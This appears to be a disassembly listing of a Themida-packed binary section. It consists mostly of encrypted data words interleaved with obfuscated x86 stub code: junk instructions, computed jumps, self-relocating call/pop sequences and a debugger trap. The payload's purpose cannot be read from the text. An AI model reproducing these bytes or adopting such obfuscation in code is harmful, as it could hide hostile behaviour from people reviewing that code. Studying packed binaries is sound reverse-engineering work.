dd 293D0E64h, 0B1C596DAh, 374B1C54h, 6DCFA0C8h, 0BDF88C28h
dd 15733046h, 9E2DD9C5h, 106F88Fh, 0D9AA3BB6h, 5D2E3AC5h
dd 0AD56AA0Fh, 90C90AC3h, 0B073748Ch, 3CC4A95Ch, 0A3E49D2Eh
dd 0C37CF40Fh, 3AD64982h, 34102001h, 0AE3AF384h, 30411416h
dd 8622A5EAh, 304113F2h, 0D11940D8h, 40E38EC9h, 0AD4DE17Dh
dd 3FD03041h, 85E175AEh, 0A7D039DCh, 0B72C6Fh, 0D92E0000h
dd 2B7F4226h, 98D992D6h, 2F83F65Fh, 9EDF98D0h, 8DE52165h
dd 5F548D4h, 847B2A2Ch, 0FF13E4h, 8622A568h, 2A2CFDF2h
dd 3AA3DC6Dh, 5A1D1E36h, 102E65BEh, 8657E834h, 0D6999AB2h
dd 6B07FF53h, 0E9CCA632h, 0BE4F3A27h, 135FA7FBh, 9AD82E42h
dd 0BAEDEAD1h, 0F644BFE0h, 0B9h, 23F47E8Eh, 0A677F30Fh
dd 2BFC6E92h, 0AD7EEA17h, 34056D99h, 798DFA1Fh, 0EF1428F9h
dd 699CB081h, 0DD223607h, 1358BA8Bh, 46BEE377h, 0B8086630h
dd 0F78B27AAh, 722A2CF9h, 0BAB64DE1h, 0A9C93D81h, 2D3BC4D8h
dd 7EEF166Ah, 0EE2FE882h, 2B63A45Dh, 0E479BDB6h, 94154E4Bh
dd 4226D946h, 0AEBA4589h, 0BB469ADDh, 0CF3074ADh, 285C899h
dd 2CF9D266h, 83BC4D2Ah, 0EFA8C03Fh, 0FE304863h, 31358935h
dd 0BE8FD926h, 108E837Bh, 0E03AEAE1h, 0CC9C63A7h, 1F4BB509h
dd 0C8397DE6h, 0A9BFE7A0h, 3659ACDh, 0E0E11E32h, 0E61C3A49h
dd 0CC556D2h, 8BEh, 61A5F900h, 0AB5AD811h, 3F33D91Bh, 0ABBD4286h
dd 1957AEF2h, 89E71C60h, 0F87A8CD0h, 670BFB3Fh, 0D1976AAEh
dd 3E2CD418h, 0A9C14185h, 8951EAF0h, 4C181E1h, 83000000h
dd 0C8704E9h, 3C895C24h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push 1BCEh
mov [esp], edx
push ebp
mov ebp, 619B0AAh
push ebx
mov ebx, ebp
mov esi, ebx
pop ebx
pop ebp
push esp
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
pop dword ptr [edx+8]
push dword ptr [esp]
pop edx
add esp, 4
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push edx
sahf
pop ss
cdq
pop edx
mov esi, 2012AF5Bh
push eax
inc ebx
mov eax, 619C693h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 1Dh
dd 13284306h, 0D8153663h, 3039EA4Ah, 0DC0378F1h, 0E16C6215h
dd 0A510BFACh, 0E937D299h, 0DF7BDFE1h, 4F019F8Bh, 0AD0ACB39h
dd 0AA7A276Bh, 6C74DB8Ah, 0CF7EA29Bh, 0AE25C532h, 0AC0BD7E8h
dd 0BA01F82Fh, 0FE6C8907h, 926D34D9h, 486E4FE1h, 80088AE7h
dd 0CD49DF91h, 5138CA74h, 5C096FD1h, 62DAAD0h, 0C37B2CBh
dd 0CC10A487h, 8D100E11h, 19C8838Dh, 8E906h, 798D0000h
dd 699FE2CCh, 8D896847h, 6143229h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 49C35242h, 0B6B60AB8h, 72DEEB81h
dd 89606BA4h, 1425158Dh, 615B5006h, 64D85C7h, 5D9C0614h
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 0D4F9F2C3h, 85C7CE3Fh, 6142671h, 0
dd 10E8h, 22352400h, 9F2CA278h, 0F394CE33h, 0FBFF6158h
dd 8F8CB838h, 0FF5F3674h, 1406A5B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0C129A97Eh
dd 8B66A47Bh, 0FF08BD8h, 68Eh, 25B58900h, 0FF06141Ch, 14236195h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 0FD852999h, 6A06141Ch, 6995FF00h
; ---------------------------------------------------------------------------
loc_5A5460: ; DATA XREF: Themida_:0054B0F4o
adc [esi+eax], edx
mov eax, eax
jmp short loc_5A5485
; ---------------------------------------------------------------------------
db 9Ah
; ---------------------------------------------------------------------------
shr byte ptr [ebp+ecx*4+6Ch], 1
cmp [ebp+61h], ah
add bh, [ecx+0A59FE23h]
popf
push eax
cmpsb
cmp ah, dl
lea edx, [edx-11B6BFCBh]
fld qword ptr [ebp-19h]
db 36h
cli
loc_5A5485: ; CODE XREF: Themida_:005A5465j
call sub_5A5496
; ---------------------------------------------------------------------------
dw 4638h
dd 1F6E797Fh, 648579F4h
db 57h, 77h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5A5496 proc near ; CODE XREF: Themida_:loc_5A5485p
mov cx, 4E45h
pop ebx
mov ch, 0C2h
add ebx, 6D89h
mov esi, 0
pusha
add di, 9433h
sub [ebp+614069Dh], edx
popa
loc_5A54B5: ; CODE XREF: sub_5A552C+24j
push dword ptr [esi+ebx]
movzx eax, ax
pop edx
pusha
jg loc_5A54C9
jns $+6
loc_5A54C9: ; CODE XREF: sub_5A5496+27j
jl loc_5A54DD
jmp loc_5A54DD
; ---------------------------------------------------------------------------
dd 9561CE16h, 0A0AF9972h
; ---------------------------------------------------------------------------
pop ecx
loc_5A54DD: ; CODE XREF: sub_5A5496:loc_5A54C9j
; sub_5A5496+39j
popa
add edx, 582A25F4h
add [ebp+6142B45h], esi
add edx, 3E9535A0h
mov ecx, [ebp+6140FF5h]
sub edx, 43CAADB4h
mov cx, 6605h
push edx
jbe loc_5A550D
mov [ebp+6140B79h], eax
loc_5A550D: ; CODE XREF: sub_5A5496+6Bj
pop dword ptr [ebx+esi]
mov [ebp+6141165h], edx
call near ptr sub_5A552C
pop esi
add ah, [eax]
mov al, ds:0E8159E20h
mov eax, 9F975DA3h
hlt
sub_5A5496 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
stc
mov dh, 0DBh
; =============== S U B R O U T I N E =======================================
sub_5A552C proc far ; CODE XREF: sub_5A5496+80p
var_3FA35F1A = dword ptr -3FA35F1Ah
cmc
pop edi
sub esi, 6B4A6AF5h
xor [ebp+6143435h], esi
add esi, 6B4A6AF1h
pusha
and al, 65h
mov ecx, 7F8A312Ah
popa
cmp esi, 0FFFF9344h
jnz loc_5A54B5
mov edi, 2BF6A3D1h
jmp loc_5A5592
; ---------------------------------------------------------------------------
dd 6CE8EDF0h, 0Bh dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5A5592: ; CODE XREF: sub_5A552C+2Fj
jmp loc_5A6186
; ---------------------------------------------------------------------------
push 619CB45h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619CC48h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619CE01h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619CED9h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619D1C3h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619D331h
jmp loc_55D2A6
; ---------------------------------------------------------------------------
push 619D43Dh
jmp loc_55D2A6
; ---------------------------------------------------------------------------
xlat
xor eax, 0AA586C3Dh
shr bh, 0DBh
and eax, 0A1607445h
mov esi, 7D4E24E2h
push 4230D6B3h
jno short locret_5A5655
cmpsb
retf 0E5F9h
; ---------------------------------------------------------------------------
and [eax+7Fh], dl
imul edx, [esp+edx*8+1Ch+var_3FA35F1A+1], 2Ch
retn
; ---------------------------------------------------------------------------
dd 51AF3046h, 4226D901h, 94D42B7Fh, 51AEF25Bh, 5A724617h
dd 11FA9659h, 5434102Ah, 896B085Ch, 75AEAA84h, 4CD89122h
dd 3041D5B4h, 1D442288h, 6FA7F47Ah, 516Dh, 0E0267A00h
dd 5F98D992h, 119E1h, 9B71453Dh, 66FAAF04h
; ---------------------------------------------------------------------------
cdq
locret_5A5655: ; CODE XREF: sub_5A552C+CAj
iret
; ---------------------------------------------------------------------------
push ss
aad 44h
or ebx, [eax+10ABC3FCh]
xor al, 0C6h
xor eax, 4DB5097Ch
jmp short loc_5A56B7
; ---------------------------------------------------------------------------
dd 30418FBBh, 0E31CAD3Eh, 418FBF57h, 0BBB25130h, 0DD96274Bh
dd 49026699h, 0DA80E64Ah, 1D442288h, 6FA7B27Ah, 0EB6Dh
dd 26D96F00h, 0C1458942h, 4BB4F8B1h, 0DF20641Dh, 0F275B889h
dd 2CF9C256h, 73AC3D2Ah, 2C05B2E7h, 2F39C62Ah
db 5Eh, 4Ah, 0B5h
; ---------------------------------------------------------------------------
loc_5A56B7: ; CODE XREF: sub_5A552C+13Aj
mov bl, 0FAh
xchg ecx, [edi-7D5B3F0Fh]
mov al, 0FAh
sar dword ptr [ebp+45E1A4A5h], 74h
and eax, 68F93410h
xchg eax, edi
retn
; ---------------------------------------------------------------------------
db 0ABh
dd 6E93E7AAh, 0B24EC1FAh, 3A27CD50h, 5AE41FB3h, 2FA52ABEh
dd 8314A52Ah, 2ADB2FF2h, 179A0D46h, 0F22A3EC3h, 6E036E52h
dd 2B6FA85Ch, 80D497DBh, 891DB985h, 42A2F0Dh, 4129E273h
dd 44319062h, 0D40D9E26h, 0ABC73F53h, 0BA0AE3E2h, 5FAD28E0h
dd 9C8h, 0B384EE1Eh, 3607639Fh, 0BB8CDE22h, 3D0E5AA7h
dd 0C495DD29h, 0E91D0AAFh, 5FA4B889h, 0D92C4011h, 4DB2C697h
dd 0A3E84A1Bh, 46C47307h, 4898F630h, 7D9E2DD9h, 603C182Eh
dd 7E9263F4h, 4D22E481h, 9728B9B9h, 0BA8680D4h, 2D508A1Eh
dd 0E374052Ah, 0FFB8B04Fh, 0B60485BEh, 3D000119h, 102068A1h
dd 0A35CED34h, 41137F17h, 160E5330h, 3E32B663h, 0E97DB683h
dd 3F41E48Dh, 0D2346FA7h, 36000000h, 0F78B27AAh, 0DD2A2CF9h
dd 0EC25F86Eh, 27BB5E6Eh, 0CA0394DCh, 36EF7986h, 9B5E14F2h
dd 0ECAFBB47h, 2D40BC50h, 75AE3F2Ah, 4D4B800Ch, 0E21D2A2Ch
dd 5EA1B586h, 6D3D2263h, 5CED010Fh, 86879FA3h, 0D85627C3h
dd 3ACB3410h, 2DD22669h, 0E9A2C838h, 1D5E17A8h, 0C7C8E0E4h
dd 58F76804h, 0D66A3A28h, 0EDB0412Fh, 42056D99h, 1D5614EEh
dd 0FC05599Ch, 3972B36Ch, 986111F5h, 0E0BA034Bh, 0C59BE964h
dd 21000008h, 0A2B687EBh, 25390A60h, 0AABE8FDBh, 2C401157h
dd 0B2C798DAh, 8CE6200Dh, 145CA7BBh, 9AD62F43h, 1E4AB5C9h
dd 0AA6EB4Dh, 3046C576h, 0AA4B9BF9h, 478376B2h, 2F68CB2Eh
dd 94571BEBh, 8304C540h, 0C0990E51h, 38B9F283h, 0BC8DDB24h
dd 3F26D96Eh, 8F0A9C1h, 9A6D7C1Ch, 5EEF80A0h, 82BC479Bh
dd 2D8F52E6h, 0AB3CCD2Ah, 1B55AEF2h, 57902162h, 1055AAEEh
dd 18E97AF0h, 0EC8481D5h, 0B5B9F233h, 3DD99C9Dh, 3410B4A4h
dd 9BDF9829h, 1F330464h, 43CF88E0h, 0CDB4B3D1h, 6DFA7CD0h
dd 0F105D692h, 0C0A8570Eh, 0ED186C2Fh, 55E14A83h, 0BFBDA5BCh
dd 4FE5295h, 24FC2E66h, 8DD927B9h, 0B1A6C054h, 35491A4Eh
dd 59E59ECAh, 0BFBDE236h, 5F086E44h, 0E3F7C8A0h, 20934C1Ch
dd 7A3335CCh, 488C0139h, 0D33A59DFh, 7D7E969Ah, 0CF9966BAh
dd 0EDA6CA3Bh, 7D0073ACh, 798DD829h, 6EFF40F9h, 8ED0A935h
dd 0C4559E7Fh, 912DB0F3h, 96A882FDh, 0B2B6EF80h, 53D6999Ah
dd 0A88323B7h, 0DC15A696h, 0A180CD69h, 5CEDA08Bh, 947E17A3h
dd 0EE12949Ch, 867FC37Ch, 1D731EAh, 3DA3F565h, 57ABFF39h
dd 0FDA0DA13h, 0F0D402B2h, 487h, 2658C4F2h, 0AE4A0D0Eh
dd 34101FEDh, 0B80CCF60h, 2A6B244Eh, 3C3469F1h, 6888D1CDh
dd 0F83E29E9h, 0EFA67CB4h, 0D0D15D96h, 841370EEh, 0CA86B6Ch
dd 0EEBFD6Fh, 4C50099Ah, 9CD63034h, 4E11A2E3h, 0E03427B2h
dd 2E726A10h, 0A0885F03h, 65F64982h, 38CB1FA2h, 0E9A2CE35h
dd 1D5E17A8h, 95FA0E4h, 8DDB2438h, 6382ADC4h, 4D9B163Ah
dd 70Ch, 6F4032DAh, 0F2C3A75Bh, 774822DEh, 0F9CA9E63h
dd 805121E5h, 2DD9B66Bh, 0A3607445h, 1DE8FCCDh, 916E8253h
dd 5FA406D7h, 46C82FC3h, 0FC4CAA30h, 894226D9h, 0DEAFBB45h
dd 0CBC0h, 56AAF000h, 5FF38FAFh, 0DA2A2CF9h, 0BEFFB849h
dd 68628185h, 6344D59Bh, 3335CC20h, 52DBA1FAh, 0DC30086Eh
dd 0E77B1727h, 622A2CF9h, 468740D1h, 0F953E783h, 45D62A2Ch
dd 182FD20Ch, 42226993h, 24000000h, 4003FA19h, 2CFA0BA4h
dd 44FD8E2Ah, 9869FF00h, 1CEA7B84h, 80CC556h, 902CEFF0h
dd 341037F3h, 43D773F6h, 0C630412Bh, 18A9FC35h, 7FF75D5Fh
dd 0A7434FF2h, 7426Fh, 0CF440000h, 0E0h, 119FFh, 0E08A13Dh
dd 0FC8D3410h, 0AC181233h, 0A2F06BE6h, 634h, 47185AB2h
dd 0CA9BCF33h, 4F204AB6h, 0D1A2C63Bh, 582949BDh, 55B19E43h
dd 0CB384C1Dh, 45C0D4A5h, 0B9465A2Bh, 377CDEAFh, 46C8079Bh
dd 0D4248230h, 1CAD56AAh, 0AD18807Dh, 3DF687A3h, 0CF6008F9h
dd 7C739296h, 0F23B729Bh, 6609680Eh, 596993B7h, 4Dh, 0FA195Bh
dd 18DB6C06h, 0ABBF4195h, 41D5B1F2h, 0BC2A2CFAh, 61F5F32Bh
dd 0C2554AA0h, 0DCCFF889h, 68096D51h, 699389C5h, 20B8h
dd 0FA19BA00h, 8BF92203h, 67B8BEA2h, 2A2C01D0h, 0B154A86Bh
dd 0AA4C86BFh, 9B699320h, 0FFFFFEC6h, 0FA199Dh, 6CB069FFh
dd 0DB1CD593h, 0AFD8B94Ah, 0F27458D5h, 0D69A3E36h, 644D123Bh
dd 954EF12Bh, 78416993h, 43000002h, 8C452DD9h, 0C1429619h
dd 0D9B5F6AFh, 2A2CFA45h, 0BAFE37C8h, 0DB5E2147h, 2CF9AB3Fh
dd 649D2E2Ah, 224EB7FBh, 8EDA2569h, 0DF97ADD5h, 60F17788h
dd 12452175h, 7C0FD7F4h, 4531082h, 788EA273h, 253D41FAh
dd 74C56124h, 0F934106Dh, 33CF9E65h, 5C15A637h, 0E0581E34h
dd 5D2DC15Dh, 47BF3041h, 8E31722Bh, 8680C4FDh, 5C8A1EBAh
dd 74053041h, 8FE12E3h, 8D25B16Ah, 64304069h, 3838CD21h
dd 2D0B6BFFh, 20197535h, 8281F60Ch, 0E0245DEEh, 677B4C26h
dd 161AD39Fh, 0BD06FAFEh, 0A13B1698h, 0F98A1BE0h, 19399A36h
dd 144C3A24h, 69CEC5C3h, 7410D32Bh, 2A2D8CE0h, 6839CA5Bh
dd 382FD125h, 0A6E7A0CAh, 0C0D8DC15h, 8760FCBFh, 8A341097h
dd 89972BC7h, 81123041h, 2AD92DF0h, 53E78346h, 0D6304189h
dd 30A30C45h, 0A4325DCh, 4189EA7Eh, 1155B930h, 0AA6D6E86h
dd 2494350Eh, 0D6A7383Ah, 0E30C9B93h, 911E9A87h, 346CFD75h
dd 6305033Ch, 5CA0D9BFh, 0AE02C5A3h, 1B5C1553h, 0B20679E2h
dd 21651E54h, 91D28BDFh, 0DA13D00h, 902A2D81h, 7D82C6FFh
dd 2E461AEBh, 0EFE76A2Dh, 0D553FC00h, 8824E7C4h, 2A2DF2F4h
dd 21ADE677h, 34112338h, 0E7732CBDh, 3041C24Fh, 8F4820E1h
dd 0F9B2B64Bh, 8AD096FAh, 9494D238h, 73ACC640h, 0A7E19639h
dd 49896Fh, 198B0000h, 0BA3D0001h, 2CF98A1Eh, 3B74052Ah
dd 1FF32CC8h, 0E5763410h, 8DCB2A22h, 0DE97D12Eh, 0C693659Dh
dd 5CED7B86h, 962EBA23h, 6A3041F7h, 0CEC66204h, 2EBD2F38h
dd 7F88C83h, 2E67A861h, 0A7CF51F4h, 0B0446Fh, 0D9460000h
dd 45894226h, 2750AC1h, 0B80540F8h, 0D52A6E27h, 0C8D8D093h
dd 5919ED20h, 22275FA0h, 0EA538C42h, 8BDF2377h, 77F10E52h
dd 0F20F63A6h, 7CB13D76h, 102A2C78h, 0D4A879EFh, 5CF8BBBCh
dd 34142C65h, 79EF10A4h, 0AAA225E8h, 0ED9183C4h, 0CA0E4748h
dd 5165363Ch, 0C9F4BDB5h, 0E2E6AE69h, 34A1967h, 709C0000h
dd 0E51D3102h, 60A0B485h, 0DC25390Ah, 5FA7BB8Ch, 882D4213h
dd 36076B9Bh, 0BE8FE122h, 44155BAAh, 0C899CF30h, 0F1852166h
dd 6C3046CAh, 2DD9BE0Eh, 0CF4BC69Eh, 18A9378Fh, 99CC3347h
dd 0AF720367h, 4CCC89B7h, 3C751043h, 26D96DBBh, 0BA458942h
dd 0D98FDDAEh, 0FC7F4226h, 2CF9CC60h, 85BE4F2Ah, 4127D81Ch
dd 0CB5FFB7Eh, 0B92A2CF9h, 1CFBAE58h, 0AA3BDEBAh, 41CF071h
dd 0BBA44003h, 3E341117h, 60F81506h, 89782C81h, 4BD4EDFh
dd 4153E078h, 284EB430h, 0A772A649h, 7FF536Fh, 3871B26Bh
dd 2A0Bh, 1190D00h, 68A13D00h, 0CD341020h, 141AAE4Ah, 4953041h
dd 2EE778CBh, 41140AA2h, 0FE78DE30h, 0A736D073h, 0E3C36Fh
dd 0D9C50000h, 45894226h, 0B4F8B1C1h, 65A1D4Bh, 78B97200h
dd 6D92D63Fh, 64E72AFBh, 2CFA34C8h, 0ED26B72Ah, 2C062C61h
dd 0A6BF402Ah, 1758115Fh, 0C1EA6EDFh, 9B2C11F6h, 1F49B6CAh
dd 6FF9085Ch, 0D33C75B6h, 4DB3B7CFh, 2DC98C1Dh, 34105ED4h
dd 4F1BE539h, 0C91C5596h, 7B936738h, 0FF18AC48h
dd 2933040h, 1912AE71h, 5C3A27B6h, 52B408CBh, 0CB3B4F20h
dd 0C256F275h, 3D2A2FABh, 0AC3CD0ACh, 302A2A2Fh, 0DC4FFD37h
dd 0AB470AADh, 2A2F0417h, 0DF700192h, 0BA1E1116h, 0F543BEE0h
dd 1DCh, 9F70020Ah, 22F3778Bh, 0A778F20Eh, 29FA6E93h, 0B081F115h
dd 0FD09669Bh, 7390A475h, 0ED182CFDh, 619EB283h, 8FD43607h
dd 46CC5FF3h, 2C7CDA30h, 0C2B056AAh, 0B1C14589h, 3533CCE0h
dd 33CD2164h, 43D7E37h, 0AD56AA86h, 9CD42FC3h, 6569A2E3h
dd 0ED894C4Dh, 34101FB4h, 0E26528B9h, 4113B246h, 639C2D30h
dd 13D66EFAh, 44AA3041h, 54B20622h, 8A98C777h, 50E1BE3Bh
dd 0E31D5697h, 6FA80040h, 7FEDF5EDh, 9BB3A198h, 0C83562h
dd 0D9370000h, 45894226h, 1580AC1h, 672048B9h, 3343EE26h
dd 8EDA25B9h, 1FE63AFDh, 1E579851h, 23BF42B5h, 2A2D048Fh
dd 0B440790Ah, 2A2C117Fh, 0A172F609h, 3DF6728Dh, 5D202139h
dd 103968C1h, 8B5CED34h, 0DB9E9FB7h, 27F4653Fh, 985BEC3Ah
dd 0E27EC244h, 2A2F844Eh, 0ECAF40D1h, 7DED1569h, 2F850DA1h
dd 40D4702Ah, 0BB2A2F85h, 0BDF6872Ah, 94DE283Ch, 0BA9F4CCBh
dd 3C8A05E0h, 0D0h, 0AB7CF616h, 2EFF6B97h, 0B384E61Ah
dd 3506629Fh, 0BC8DE521h, 0F11572A7h, 679CB081h, 0E1243809h
dd 55AABE8Fh, 9BE04213h, 46CD6BFFh, 4090EE30h, 0E09E2DD9h
dd 0B541B5D5h, 45592ABBh, 68EBAEBAh, 2DE738CCh, 0E922B32Ah
dd 26D91A68h, 0C572CA9Bh, 0E475D147h, 1E18E72Bh, 2DEEEE82h
dd 4FE0712Ah, 0A0CA388Ch, 0EC6DA6E7h, 7FC0018h, 7915D869h
dd 3417C460h, 289B54E5h, 863F31D4h, 37C80C45h, 0B34C6031h
dd 659EF2B5h, 0DD69D20Bh, 0A5566E79h, 0E97EF84Ch, 0C50AB16h
dd 12C19823h, 639CB081h, 0B56E0402h, 0E62AE374h, 928A4D1Bh
dd 39DE0EAFh, 0E14A8337h, 94C3A3B9h, 182CFD6Bh, 7AC881E7h
dd 0Ch, 2C4FBDB5h, 0A6E37606h, 1BABEF6Dh, 863F33D9h, 0F2ABBD42h
dd 601957AEh, 0D089E71Ch, 3FF87A8Ch, 0AE670BFBh, 18D1976Ah
dd 853E2CD4h, 0F0A9C141h, 6B4568EAh, 2C890000h, 0E2895224h
dd 4C281h, 0EA810000h, 4, 5C241487h, 68241489h, 31EBh
dd 56243489h, 0D63B5DBEh, 0F2A3BA59h, 0F2315FCFh, 8124348Bh
dd 4C4h, 348B5400h, 4C48124h, 53000000h, 8F53D389h, 0FF5B0846h
dd 835E2434h, 148B04C4h, 0E0895024h, 405h, 4C08300h, 5C240487h
dd 0FB7129E9h, 0DD53A9FFh, 1EB73298h
; ---------------------------------------------------------------------------
sub al, 7Bh
loc_5A6186: ; CODE XREF: sub_5A552C:loc_5A5592j
mov eax, 619D532h
add eax, ebp
jmp eax
sub_5A552C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 36h
; ---------------------------------------------------------------------------
jmp short near ptr loc_5A6190+1 ; CODE XREF: Themida_:loc_5A6190j
; ---------------------------------------------------------------------------
sbb dword ptr [bp+si+5366h], 44873E22h
int 3 ; Trap to Debugger
xchg eax, ebx
xchg esp, [ebp-63h]
cmp byte ptr [esi], 2Eh
lea ecx, [ebp+619D6A8h]
mov [ebp+6143229h], ecx
push 0
push ebx
call sub_5A61BA
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A61BA proc near ; CODE XREF: Themida_:005A61B2p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5A61BA endp
; ---------------------------------------------------------------------------
cmp [edi-15h], dl
mov esi, 0DBA0217Ah
scasb
jmp loc_5A61DE
; ---------------------------------------------------------------------------
or eax, 5AC2D53Eh
leave
loc_5A61DE: ; CODE XREF: Themida_:005A61D3j
mov dword ptr [ebp+614064Dh], 63BCh
movsx eax, dx
mov dword ptr [ebp+6142671h], 0
push 0
push edi
call sub_5A6200
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5A6200 proc near ; CODE XREF: Themida_:005A61F8p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5A6200 endp
; ---------------------------------------------------------------------------
dd 0F45C7F43h, 9E8h, 0E52DAA00h, 0E915F935h, 7E830AFh
db 3 dup(0)
; =============== S U B R O U T I N E =======================================
sub_5A6227 proc near ; DATA XREF: Themida_:0054BDFCo
pusha
cmp ebp, ds:8A3DC3ACh
mov ebx, [ebp+61408FDh]
pop ebx
pop esi
push dword ptr [ebp+614220Dh]
push 0
push eax
call sub_5A6247
and [eax-3Dh], bl
sub_5A6227 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5A6247 proc near ; CODE XREF: sub_5A6227+18p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5A6247 endp
; ---------------------------------------------------------------------------
align 4
dd 0E8C848EAh, 13h, 216A6840h, 0E45C0F30h, 9D29BDBEh, 6BDD0CCDh
dd 5A0EAB3Eh, 236195FFh, 9D890614h, 614321Dh, 95FF006Ah
dd 6141169h, 7EEBC08Bh, 0B654AC30h, 0B06DFC88h, 270F81CDh
dd 417F9EAAh, 8392BBA0h, 0D639AEB2h, 989057D7h, 7217916Fh
dd 4B45593h, 899326F9h, 0E28E2120h, 2E3D3F99h, 0E8292E83h
dd 0FF98F5Ch, 173B728Fh, 5C15AA6Ch, 32D4162Ah, 0C9604BBh
dd 0FE9AB1FCh, 26F83472h, 39B8B6Ch, 5A44D694h, 393F35FBh
dd 8BB6A915h, 0E0895315h, 72A7D01Bh, 2662D283h, 0A9302B36h
dd 0DF4D599Bh, 5B8046C3h, 21E8B419h, 0C08BC646h, 77C28166h
dd 0B1BD833Dh, 61430h, 0BD830975h, 6141AE1h, 50197400h
dd 0B8C08B53h, 3FCh, 1A498589h, 9D8D0614h, 616B73Ah, 585BD3FFh
dd 1AE1BD83h, 74000614h, 0B8535017h, 3FCh, 1A498589h, 9D8D0614h
dd 616B429h, 585BD3FFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0E4C35343h, 3729F714h, 56A276BBh, 6AC08B69h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 105EC357h, 0CDBD83D6h, 1061412h, 0BD840Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 10E929C3h, 0DE000000h, 7D2A0D75h, 7094B5C4h
dd 5CEB2E3h, 663BC382h, 0B789EA81h, 1B0DBD83h, 0F000614h
dd 7A85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 0A3554051h, 0CE9h, 2DF4B300h, 0D511BFBFh
dd 6834E28Bh, 9BD83EEh, 61423h, 98840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 0DE2F0EC3h, 41919141h, 7E8h, 9B5A6400h, 794527D0h, 5A81F680h
dd 58A0Fh, 81660000h, 0E91CE5F2h, 498h, 0DE960h, 156C0000h
dd 315B180Eh, 0F4A49B4Eh, 0FF058ACh, 61D2BFh, 66000000h
dd 6A042ABAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 9DC4C355h, 0E9D18B66h, 12h, 9DE983DFh
dd 5794420Dh, 3C022227h, 85D46F95h, 7E6EC451h, 0CDE866C0h
dd 23AFBF19h, 0CB7CBF70h, 94FDE053h, 0CF3BC3FAh, 0CFABFBF2h
dd 0CBC7BF69h, 1720E834h, 0EAC18CBAh, 47F7708Dh, 0CB7CBF70h
dd 46E83415h, 0DC53ADF6h, 9A8FD575h, 0CBC7BC9Bh, 8BA9F73h
dd 0EFBD362Ah, 0EFBC3E77h, 0CB7CA277h, 86FFE73h, 0F6D564CFh
dd 14CAFA78h, 343B6AB8h, 99E3D5A3h, 0CBF1BC9Bh, 8A29F73h
dd 0EF283629h, 0EF7A3E77h, 0CB1FA577h, 8DDFD73h, 7634F8F9h
dd 0ADBA127Fh, 29716EF8h, 0CD2B3E2Bh, 222DDA40h, 0CB3EBA78h
dd 234FBF19h, 0CB8FBF70h, 9304E753h, 0CFC7FBFAh, 0CFD5FBF2h
dd 0CBF8BF6Ah, 17BFEF33h, 53D204E9h, 0CB115638h, 0EFA8BF73h
dd 7DAFF362h, 47450537h, 0BA64F94Dh, 1473E821h, 2329E429h
dd 0CB3EBF73h, 72F23E2Eh, 0A189A6AAh, 0C82FEA73h, 0EBE3BF73h
dd 42AC7C2Eh, 4AFC9B1Fh, 0D1789B37h, 8E3EBF73h, 3CB57C26h
dd 55B6991Ch, 4AA1EFFFh, 91BB7DA9h, 0A1283415h, 0C810E873h
dd 0EB7CBF73h, 42617C2Ch, 4A1B9B0Fh, 0D78B9B37h, 8CC7BF73h
dd 846C7C24h, 8FE143AEh, 0AB9ACC9Fh, 7C737EF8h, 0D9D7DEB2h
dd 0B41FBF73h, 8B994125h, 0FD2DC153h, 0ABAD0BF4h, 0AADF5494h
dd 9B383406h, 0CB6E5613h, 7D16BF73h, 3E049C77h, 0E5552F7Ah
dd 0E02C6DD1h, 92112E4h, 0CBF13B7Ch, 9099BF73h, 782EEF23h
dd 400FB052h, 4247E5ABh, 0DA669B77h, 29C7BF73h, 0FD8B734Ch
dd 2B863346h, 3C12A60Ah, 0A27D7E5Ch, 0EF72BE7Ch, 0B9A5D98Dh
dd 0CBE5E795h, 0CBC45726h, 96C3BF73h, 0A778E2B0h, 8F79BB57h
dd 0CB64BB57h, 9E7BBF73h, 3A2F5CB0h, 0C78A62BCh, 41C7BF71h
dd 0A1EB34A6h, 0C819EE73h, 0EBF8BF73h, 42257C2Ah, 4A3A9B3Fh
dd 0DF1B9B37h, 8A8FBF73h, 71907C22h, 0BFB51B39h, 37B93415h
dd 23A8BF19h, 0CB7CBF70h, 93FDE753h, 0CF3BFBFAh, 0CFABFBF2h
